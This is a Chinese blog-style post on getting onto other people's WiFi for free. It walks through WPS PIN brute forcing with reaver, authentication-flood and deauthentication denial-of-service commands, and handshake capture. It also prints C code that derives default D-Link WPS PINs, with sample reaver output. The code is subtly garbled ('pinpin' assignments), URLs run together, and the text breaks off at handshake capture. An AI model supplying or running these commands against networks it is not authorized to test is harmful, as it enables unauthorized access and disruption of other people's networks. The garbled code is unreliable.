黑客怎么绕过热点验证免费来使用WiFi的
wifi渗透流程整理
整理了一下工具的使用
1. 流程图
2. 获取bssid和essid
reference:https://www.aircrack-ng.org/documentation.html
3. 探测是否开启wps(Wi-Fi protected setup)
command:
airodump-ng MB,wash -i mon0 -C
54e.:默认开启wps,54e:默认不开启
当我们为wifi设置了一个复杂的密码时,每次接入一个新的设备都要重复输入这个密码,过程略微繁琐,wps的出现就是为了解决这个问题。
它提供了一个8位纯数字的秘钥,认证成功即可连接wifi。
但是这8位数是分开认证的,先验证前4位,再验证5-7位,所以最多只需要爆破11000-1次即可成功。
少数路由器wps开启与否是由按钮控制,在能物理接触路由器的情况下,可以手动开启。
reference:
http://www.howtogeek.com/176124/wi-fi-protected-setup-wps-is-insecure-heres-why-you-should-disable-it/
4. 探测pin
command:
reaver -i mon0 -b ap_bssid -vv
(1) ap denial service
当路由器不再响应的时候,可以用DoS攻击让ap拒绝服务,受害者重启路由.
常用的就是authentication flood attack,攻击者可以伪造源MAC地址(基于802.11的报文发送机制)发送authenticate到目标AP,重复发送这种请求,最终会耗尽AP内存导致拒绝服务.
command:
mdk3 a mon0 -a bssid -c
reference:
https://www.sans.org/reading-room/whitepapers/wireless/80211-denial-service-attacks-mitigation-2108http://tools.kali.org/wireless-attacks/mdk3http://xiao106347.blog.163.com/blog/static/215992078201425920197(2) get password
reference:
http://tools.kali.org/wireless-attacks/reaverhttp://null-byte.wonderhowto.com/how-to/hack-wpa-wifi-passwords-by-cracking-wps-pin-0132542/https://www.pwnieexpress.com/blog/wps-cracking-with-reaverhttp://lifehacker.com/5873407/how-to-crack-a-wi-fi-networks-wpa-password-with-reaver5. 利用算法漏洞直接获取pin
devttys0站长通过逆向D-link、belkin固件的wps pin生成算法,直接得到默认pin码.
以d-link为例,获取ap bssid,拆分后进行异或、与、移位等操作生成pin,伪c代码如下:
unsigned int generate_default_pin(char *buf) { char *mac; char mac_address[32] = { 0 }; unsigned int oui, nic, pin; /* Get a pointer to the WAN MAC address */ mac = lockAndGetInfo_log()->wan_mac_address; /* * Create a local, NULL-terminated copy of the WAN MAC (simplified from * the original code's sprintf/memmove loop). */ sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], mac[6], mac[7], mac[8], mac[9], mac[10], mac[11]); /* * Convert the OUI and NIC portions of the MAC address to integer values. * OUI is unused, just need the NIC. */ sscanf(mac_address, "%06X%06X", &oui, &nic); /* Do some XOR munging of the NIC. */ pin = (nic ^ 0x55AA55); pinpin = pin ^ (((pin & 0x0F) << 4) + ((pin & 0x0F) << 8) + ((pin & 0x0F) << 12) + ((pin & 0x0F) << 16) + ((pin & 0x0F) << 20)); /* * The largest possible remainder for any value divided by 10,000,000 * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0. */ pinpin = pin % 10000000; /* The pin needs to be at least 7 digits long */ if(pin < 1000000) { /* * The largest possible remainder for any value divided by 9 is * 8; hence this adds at most 9,000,000 to the pin value, and at * least 1,000,000. This guarantees that the pin will be 7 digits * long, and also means that it won't start with a 0. */ pin += ((pin % 9) * 1000000) + 1000000; } /* * The final 8 digit pin is the 7 digit value just computed, plus a * checksum digit. Note that in the disassembly, the wps_pin_checksum * function is inlined (it's just the standard WPS checksum implementation). */ pin = ((pin * 10) + wps_pin_checksum(pin)); sprintf(buf, "%08d", pin); return pin; } $ sudo airodump-ng mon0 -c 4 CH 4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C0:A0:BB:EF:B3:D6 -13 0 6 0 0 4 54e WPA2 CCMP PSK dlink-B3D6 $ ./pingen C0:A0:BB:EF:B3:D7 # <--- WAN MAC is BSSID+1 Default Pin: 99767389 $ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389 Reaver v1.4 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 6. 密码相关app被共享 zke1ev3n大牛逆向了万能钥匙APP,发现发送的AP相关的信息经过了AES加密,私钥和IV都硬编码在程序中. 设备指纹放在sign字段,经过md5(设备指纹信息+salt)加密,salt也硬编码在程序中,这部分信息当做签名来验证请求是否合法。 返回信息同样经过AES加密,用的相同的key和IV。 http://www.wifi4.cn实现了这个加密流程. reference: 7. mac白名单限制 mac address被烧录在网卡的EEPROM中,每次网卡初始化时会从EEPROM中读取mac地址并将其写入到一个缓冲区(win下是写到注册表) 发送报文时,相关api读取mac地址是从缓冲区中读取,而不是去EEPROM中. command: reference: http://xiao106347.blog.163.com/blog/static/21599207820131014101844104/ 8. 抓取握手包 (1) airodump-ng -w /tmp/test.cap-c channelNum --bssid apm (2) deauth client Wi-Fi deauthentication attack IEEE 802.11协议中包含了deauthentication frame,用来中断server和client的认证. 攻击者只需知道client bssid,基于报文发送机制,伪造mac,可以在任何时间向AP发送deauthentication请求. 如果这个攻击是持续的,目标client会无法连接AP. 其实这个时候可以结合pineapple伪造AP准备嗅探了. command: aireplay-ng-0 攻击次数 -a apmac -c clientmac -x 发包速率 mon1 reference: (3) get handshake
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